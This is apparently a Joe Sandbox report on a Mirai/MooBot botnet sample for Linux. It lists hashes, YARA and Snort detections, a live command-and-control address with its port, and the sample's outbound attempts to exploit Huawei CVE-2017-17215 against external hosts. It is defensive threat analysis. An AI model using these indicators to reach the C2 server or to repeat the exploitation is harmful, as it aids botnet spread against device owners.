Create Interactive Tour

Linux Analysis Report
V1J7GFIwfY.elf

Overview

General Information

Sample name:	V1J7GFIwfY.elf renamed because original name is a hash value
Original sample name:	b3d62146be0f1236984dd67695cd28f4.elf
Analysis ID:	1400808
MD5:	b3d62146be0f1236984dd67695cd28f4
SHA1:	bb67d9875f94223e679747db0a15cafb6f266934
SHA256:	e19c581a6f7b9b82e959f6a5f9b9a06c57ed83860a75f5e5ece843b332a39109
Tags:	32elfgafgytpowerpc
Infos:

Detection

Mirai, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1400808
Start date and time:	2024-02-29 10:46:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	V1J7GFIwfY.elf renamed because original name is a hash value
Original Sample Name:	b3d62146be0f1236984dd67695cd28f4.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/1025@19/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: V1J7GFIwfY.elf

Runtime Messages

Command:	/tmp/V1J7GFIwfY.elf
PID:	6219
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

V1J7GFIwfY.elf (PID: 6219, Parent: 6133, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/V1J7GFIwfY.elf

V1J7GFIwfY.elf New Fork (PID: 6221, Parent: 6219)

V1J7GFIwfY.elf New Fork (PID: 6223, Parent: 6221)

V1J7GFIwfY.elf New Fork (PID: 6224, Parent: 6221)

V1J7GFIwfY.elf New Fork (PID: 6227, Parent: 6221)

V1J7GFIwfY.elf New Fork (PID: 6229, Parent: 6221)

gnome-session-binary New Fork (PID: 6232, Parent: 1477)

sh (PID: 6232, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-print-notifications

gsd-print-notifications (PID: 6232, Parent: 1477, MD5: 71539698aa691718cee775d6b9450ae2) Arguments: /usr/libexec/gsd-print-notifications

gdm3 New Fork (PID: 6240, Parent: 1320)

Default (PID: 6240, Parent: 1320, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 6256, Parent: 1320)

Default (PID: 6256, Parent: 1320, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
V1J7GFIwfY.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
V1J7GFIwfY.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
V1J7GFIwfY.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
V1J7GFIwfY.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1b654:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b668:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b67c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b690:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
6219.1.00007fb610001000.00007fb610020000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
6219.1.00007fb610001000.00007fb610020000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
6219.1.00007fb610001000.00007fb610020000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6219.1.00007fb610001000.00007fb610020000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1b654:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b668:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b67c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b690:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: V1J7GFIwfY.elf PID: 6219	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: V1J7GFIwfY.elf PID: 6219	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: V1J7GFIwfY.elf PID: 6219	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x191c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1930:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1944:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1958:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x196c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1980:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1994:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 2 entries

Snort Signatures

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:47:46.707031
SID:	2030490
Source Port:	47896
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:47:15.520505
SID:	2030490
Source Port:	47874
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:47:26.312869
SID:	2030490
Source Port:	47876
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 146.148.193.19

Timestamp:	02/29/24-10:48:59.777978
SID:	2829579
Source Port:	52664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:47:50.502289
SID:	2030490
Source Port:	47898
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.37.209.193

Timestamp:	02/29/24-10:49:01.033288
SID:	2829579
Source Port:	33870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.123.105

Timestamp:	02/29/24-10:49:11.258321
SID:	2835222
Source Port:	47522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.246.61.221

Timestamp:	02/29/24-10:48:15.999072
SID:	2829579
Source Port:	44594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:47:41.906212
SID:	2030490
Source Port:	47886
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 172.65.4.150

Timestamp:	02/29/24-10:48:57.614137
SID:	2835222
Source Port:	44624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 146.148.193.19

Timestamp:	02/29/24-10:48:59.777978
SID:	2835222
Source Port:	52664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:47:07.739654
SID:	2030490
Source Port:	47872
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:48:03.071494
SID:	2030490
Source Port:	47938
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 193.8.190.51

Timestamp:	02/29/24-10:47:39.624258
SID:	2829579
Source Port:	41934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:47:36.110351
SID:	2030490
Source Port:	47882
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.246.61.221

Timestamp:	02/29/24-10:48:15.999072
SID:	2835222
Source Port:	44594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:48:08.666983
SID:	2030490
Source Port:	47946
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 172.65.4.150

Timestamp:	02/29/24-10:48:57.614137
SID:	2829579
Source Port:	44624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:48:36.851707
SID:	2030490
Source Port:	48012
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.207.108.9

Timestamp:	02/29/24-10:48:36.438412
SID:	2829579
Source Port:	44318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:48:55.433937
SID:	2030490
Source Port:	48050
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:48:45.649257
SID:	2030490
Source Port:	48036
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:49:05.987841
SID:	2030490
Source Port:	48092
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:47:59.284116
SID:	2030490
Source Port:	47932
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:49:00.210524
SID:	2030490
Source Port:	48068
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:48:05.858712
SID:	2030490
Source Port:	47944
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:48:18.268677
SID:	2030490
Source Port:	47976
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 193.8.190.51

Timestamp:	02/29/24-10:47:39.624258
SID:	2835222
Source Port:	41934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:48:16.473385
SID:	2030490
Source Port:	47970
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.207.108.9

Timestamp:	02/29/24-10:48:36.438412
SID:	2835222
Source Port:	44318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.123.105

Timestamp:	02/29/24-10:49:11.258321
SID:	2829579
Source Port:	47522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.37.209.193

Timestamp:	02/29/24-10:49:01.033288
SID:	2835222
Source Port:	33870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:48:29.062380
SID:	2030490
Source Port:	47994
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: V1J7GFIwfY.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: V1J7GFIwfY.elf

ReversingLabs: Detection: 57%

Source: V1J7GFIwfY.elf

String: /proc/proc/%d/cmdlinerwgetcurlbusybox/bin/busyboxechocatnanotfpt

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47872 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47874 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47876 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47882 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41934 -> 193.8.190.51:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41934 -> 193.8.190.51:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47886 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47896 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47898 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47932 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47938 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47944 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47946 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44594 -> 197.246.61.221:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44594 -> 197.246.61.221:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47970 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47976 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47994 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44318 -> 41.207.108.9:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44318 -> 41.207.108.9:37215
